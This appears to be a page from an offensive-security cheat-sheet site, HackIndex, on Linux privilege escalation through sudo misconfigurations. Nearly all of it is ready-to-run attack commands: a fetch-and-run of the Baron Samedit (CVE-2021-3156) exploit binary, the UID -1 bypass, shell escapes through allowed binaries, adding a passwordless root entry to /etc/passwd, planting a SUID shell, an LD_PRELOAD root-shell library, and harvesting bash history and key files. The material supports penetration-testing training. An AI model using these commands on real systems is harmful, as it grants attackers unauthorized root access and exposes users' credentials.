Skip to content
HackIndex logo

HackIndex

Sudo Misconfiguration Privilege Escalation

6 min read Jul 14, 2026

sudo lets users run commands as root or another user based on rules in /etc/sudoers. Permissive rules, dangerous binaries, environment control, and unpatched sudo versions all provide escalation paths. Always check sudo first — it is the most common privesc vector in labs and real engagements.

Prerequisites Check

Check what the current user can run:

user@host ~ $ sudo -l

Key output patterns that enable escalation:

  • (ALL : ALL) NOPASSWD: ALL — full root, no password

  • (root) NOPASSWD: /usr/bin/vim — GTFOBins target

  • (ALL) NOPASSWD: /bin/* — wildcard abuse

  • (user2) NOPASSWD: /opt/script.sh — pivot to another user

  • SETENV or env_keep entries — environment variable injection

Check sudo version immediately — this determines CVE applicability:

user@host ~ $ sudo --version

If sudo -l returns "no valid sudoers entries" this vector is closed. Move to https://hackindex.io/platforms/linux/privilege-escalation/suid-binary-privilege-escalation or https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation.

CVE-2021-3156 — Baron Samedit (Heap Overflow)

Affects sudo versions 1.8.2 through 1.9.5p1 — most distributions before February 2021. Exploitable without any sudo permissions, just a local user account. One of the most reliable privesc CVEs of the last decade.

Check if vulnerable:

user@host ~ $ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
:!/bin/bash

If the output is Segmentation fault, the target is vulnerable. If it shows usage: or similar error text, it is patched.

Check exact version against affected range:

user@host ~ $ sudo --version | head -1
# Vulnerable: 1.8.2 - 1.9.5p1
# Patched: 1.9.5p2+

Exploit using the Blasty PoC:

user@host ~ $ # On attack box
user@host ~ $ git clone https://github.com/blasty/CVE-2021-3156
user@host ~ $ cd CVE-2021-3156
user@host ~ $ make
 
user@host ~ $ # Transfer binary to target
user@host ~ $ python3 -m http.server 8080
 
user@host ~ $ # On target
user@host ~ $ wget http://$LHOST:8080/sudo-hax-me-a-sandwich
user@host ~ $ chmod +x sudo-hax-me-a-sandwich
user@host ~ $ ./sudo-hax-me-a-sandwich

The binary auto-detects the target and spawns a root shell. If detection fails, specify the target manually:

user@host ~ $ ./sudo-hax-me-a-sandwich 0 # Ubuntu 18.04
user@host ~ $ ./sudo-hax-me-a-sandwich 1 # Ubuntu 20.04
user@host ~ $ ./sudo-hax-me-a-sandwich 2 # Debian 10

CVE-2019-14287 — UID -1 Bypass

Affects sudo versions before 1.8.28. When a sudoers rule allows running as any user except root (!root), supplying UID -1 or 4294967295 maps to root.

Check version:

user@host ~ $ sudo --version | head -1
user@host ~ $ # Vulnerable: < 1.8.28

Check for rules with !root:

user@host ~ $ sudo -l | grep -i "!root"
user@host ~ $ # e.g. (ALL, !root) NOPASSWD: /bin/bash

Exploit:

user@host ~ $ sudo -u#-1 /bin/bash
user@host ~ $ # or
user@host ~ $ sudo -u#4294967295 /bin/bash

GTFOBins — Allowed Binary Abuse

If a binary is listed via sudo -l, check https://gtfobins.github.io/ for its sudo escalation method.

Editors — immediate shell:

user@host ~ $ # vim
user@host ~ $ sudo vim -c ':!/bin/bash'
 
user@host ~ $ # nano — Ctrl+R Ctrl+X then:
user@host ~ $ sudo nano
user@host ~ $ ^R^X
user@host ~ $ reset; sh 1>&0 2>&0
 
user@host ~ $ # less
user@host ~ $ sudo less /etc/passwd
user@host ~ $ !/bin/bash

Interpreters — immediate shell:

user@host ~ $ # python
user@host ~ $ sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
 
user@host ~ $ # perl
user@host ~ $ sudo perl -e 'exec "/bin/bash"'
 
user@host ~ $ # ruby
user@host ~ $ sudo ruby -e 'exec "/bin/bash"'
 
user@host ~ $ # lua
user@host ~ $ sudo lua -e 'os.execute("/bin/bash")'
 
user@host ~ $ # node
user@host ~ $ sudo node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'

File operations — overwrite /etc/passwd or plant SUID:

user@host ~ $ # cp — overwrite passwd
user@host ~ $ cp /etc/passwd /tmp/passwd.bak
user@host ~ $ echo 'root2::0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
user@host ~ $ sudo cp /tmp/passwd.bak /etc/passwd
user@host ~ $ su root2
 
user@host ~ $ # tar — extract with shell
user@host ~ $ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
 
user@host ~ $ # find
user@host ~ $ sudo find /tmp -exec /bin/bash \;
 
user@host ~ $ # awk
user@host ~ $ sudo awk 'BEGIN {system("/bin/bash")}'

Wildcard Abuse in Sudo Rules

When a rule contains a wildcard, test for path traversal and argument injection.

Rule: NOPASSWD: /usr/bin/git checkout *

user@host ~ $ sudo git checkout ../../../etc/shadow

Rule: NOPASSWD: /usr/bin/zip *

user@host ~ $ TF=$(mktemp -u)
user@host ~ $ sudo zip $TF /etc/passwd -T --unzip-command="sh -c /bin/bash"

Rule: NOPASSWD: /usr/bin/tar *

user@host ~ $ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Editable Script Execution

Rule allows running a script you can write to:

user@host ~ $ # Check if the script is writable
user@host ~ $ ls -la /opt/backup.sh
user@host ~ $ getfacl -p /opt/backup.sh
 
user@host ~ $ # If writable, inject payload
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /opt/backup.sh
user@host ~ $ sudo /opt/backup.sh
user@host ~ $ /tmp/.rootbash -p

Also check the directory — if you cannot write the script but can write to its parent directory, replace it entirely:

user@host ~ $ ls -ld /opt/
user@host ~ $ mv /opt/backup.sh /opt/backup.sh.bak
user@host ~ $ echo '#!/bin/sh' > /opt/backup.sh
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /opt/backup.sh
user@host ~ $ chmod +x /opt/backup.sh
user@host ~ $ sudo /opt/backup.sh
user@host ~ $ /tmp/.rootbash -p

SETENV and LD_PRELOAD Abuse

If sudo -l shows SETENV or env_keep += "LD_PRELOAD":

/tmp/preload.c

#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
user@host ~ $ gcc -shared -fPIC -o /tmp/preload.so /tmp/preload.c
 
user@host ~ $ # Execute any allowed sudo command with LD_PRELOAD
user@host ~ $ sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find

If env_keep includes PYTHONPATH or PERL5LIB, see https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking for the equivalent technique.

For a full LD_PRELOAD guide see https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking.

sudoedit File Write Abuse

sudoedit allows editing files as root. On some sudo versions it follows symlinks unsafely, allowing you to edit arbitrary files.

Check if sudoedit is allowed:

user@host ~ $ sudo -l | grep -i "sudoedit\|NOPASSWD.*edit"

If allowed on a path like /var/www/html/*.php, test symlink following:

user@host ~ $ # Create a symlink from allowed path to /etc/passwd
user@host ~ $ cd /var/www/html
user@host ~ $ ln -s /etc/passwd test.php
 
user@host ~ $ # Edit via sudoedit — may follow the symlink
user@host ~ $ sudoedit /var/www/html/test.php

Add a root user entry if the edit succeeds:

newroot::0:0:root:/root:/bin/bash
user@host ~ $ su newroot

Pivot to Another User

Rule: (deploy) NOPASSWD: /bin/bash

user@host ~ $ sudo -u deploy /bin/bash

Once pivoted, re-enumerate from the new user's context:

user@host ~ $ sudo -l
user@host ~ $ id
user@host ~ $ ls -la /home/deploy/
user@host ~ $ cat /home/deploy/.bash_history
user@host ~ $ find /home/deploy -name "*.conf" -o -name "*.key" 2>/dev/null

The new user may have additional sudo rules, SSH keys, or access to services that lead to root. This is a common two-step chain in labs.

Sudo Token Reuse

If another user recently ran sudo in the same TTY, their cached token may still be valid (default 15-minute window). Inject into their PTY to reuse it:

user@host ~ $ # Find processes with active sudo tokens
user@host ~ $ ls -la /proc/*/fd 2>/dev/null | grep pts
 
user@host ~ $ # Identify a root or sudo-capable user's terminal
user@host ~ $ ps aux | grep -v grep | grep -E "sudo|bash|sh"
 
user@host ~ $ # Inject into the TTY (requires write access to the TTY device)
user@host ~ $ # Get TTY of target process
user@host ~ $ cat /proc/$PID/stat | awk '{print $7}'

For the full sudo token reuse technique see https://hackindex.io/platforms/linux/privilege-escalation/sudo-token-reuse.

References